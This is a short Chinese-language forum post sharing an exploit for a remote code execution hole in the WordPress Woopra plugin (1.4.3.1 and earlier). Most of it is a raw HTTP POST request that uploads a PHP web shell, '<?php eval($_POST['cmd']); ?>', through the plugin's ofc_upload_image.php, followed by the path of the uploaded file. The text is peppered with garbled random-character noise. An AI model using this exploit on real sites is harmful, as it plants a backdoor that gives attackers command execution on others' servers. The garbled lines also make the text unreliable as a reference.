|
照例e文装逼 WordPress Woopra Remote Code Execution：http://www.wordpress-secure.org/ ... ote-code-execution/ _) {2 G( Y( g# m
此漏洞对Woopra 1.4.3.1以上版本无效。 插件下载地址： http://downloads.wordpress.org/plugin/woopra.1.4.3.1.zip 0 m; c! R0 y6 C5 t$ u5 M
exp发包： POST /wordpress/3.5.1_CN/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name=11.php HTTP/1.1! T& Q5 H, Z3 T$ A3 P
Host: ha.cker.in
* u* w" u& n) V0 gProxy-Connection: keep-alive
. @$ b9 l# W3 iCache-Control: max-age=0 Q$ {" q9 D- T6 a4 ^. ~
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
3 q- M! j- _& n5 f0 R mUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.365 I: G! f3 l# K& |7 ~
Accept-Encoding: gzip,deflate,sdch
1 L2 {. D- a3 z/ Z+ i7 b% uAccept-Language: zh-CN,zh;q=0.8
: v* w, M- H" p( lContent-Length: 28 <?php eval($_POST['cmd']); ?> ) f2 ~: x/ h+ R7 \! E
上传的文件在http://ha.cker.in/wordpress/3.5. ... pload-images/11.php
/ b$ `. e5 c! G1 J! K | 
发表于 2013-10-13 13:06:55
收藏
支持
反对